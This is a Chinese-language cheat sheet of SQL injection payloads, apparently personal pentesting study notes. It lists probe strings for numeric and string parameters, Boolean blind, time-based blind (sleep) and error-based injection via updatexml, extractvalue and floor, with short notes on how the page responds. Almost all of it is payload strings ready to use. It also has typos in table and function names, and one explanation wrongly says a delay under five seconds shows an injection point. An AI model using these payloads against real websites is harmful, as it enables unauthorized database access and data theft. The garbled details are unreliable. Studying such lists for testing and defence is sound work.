union select
数字类型
查询语句中的参数没有被引号包起来,如id=1(有些闭合参数不使用引号,而使用括号来闭合)
payload:
id=1' 页面返回错误
id=1+1 或id=3-1 如果存在id=2这条数据,返回结果为真,否者为假
id=1+0 页面返回正常
id=1 and 1=1 页面返回正常
id=1 and 1=2 页面返回错误
id=1 or 1=1 页面返回正常,or使得语句恒为真
id=1 or 1=2
id=-1 xor 1=1 异或,由于xor是短位运算符,必须先使前面的查询语句报错,否者没有结果。页面返回正常
id=1 xor 1=2 页面返回正确
id=1) and (1=1 页面返回正常
id=1 or 'ab'='a'+'b'
id=1) or ('ab'='a'+'b'
字符类型
查询语句中的参数被引号包起来
payload:
id=1' 单引号冲突,查询语句中id='$id',再加上一个单引号报错,页面返回错误
id=1'--+ 单引号与后面的注释#抵消,语句正常,页面返回正常
id=1' and '1'='1 页面返回正常
id=1' and '1'='2 页面返回错误
id=1' or '1'='2 or语句恒为真
id=1' or '1'='1
id=1') 根据闭合情况测试,查询语句为id=('$id')时加上)
id=1" 双引号与单引号情况相同
盲注
布尔盲注
页面无报错,有回显
payload:
id=1' and (length(database())=8) --+ 当数据库长度为8时,页面返回正常;当数据库长度不为8时,页面返回与正常页面有所差异,页面却不会直接出错
id=1' or (length(databse())<8) --+
时间盲注
页面无报错,无回显
payload:
id=1 and if(1=1,sleep(5),1) 如果页面延迟大于5s,则存在注入点
id=1 and if(1=2,sleep(5),1) 如果页面延迟小于5s,则存在注入点
id=1 or if(1=1,sleep(5),1) 使用or判断时,如果or前面的语句为真,会将数据库中所有数据遍历一遍,花费的时间会特别多
id=1 or if(1=2,sleep(5),1)
id=-1 xor if(1=1,sleep(5),1) xor同or
id=-1 xor if(1=2,sleep(5),1)
基于报错注入
页面返回错误连接信息,在正常的地址后尝试判断其他类型注入时,页面会反馈出错误信息
updatexml
payload:
id=1' and updatexml(1,concat(0x23,version(),0x23),1)--+ 如果页面的错误反馈爆出version()的信息,则可以确定存在注入点
extractvalue
payload:
id=1' and extractvalue(1,concat(0x23,version(),0x23)) --+ 同updatexml
floor
payload:
id=1' and (select 1 from (select count(*),concat(0x23,version(),0x23,floor(rand(0)*2)) as x from imformation_schema.tables group by x) as y) --+ 同updatexml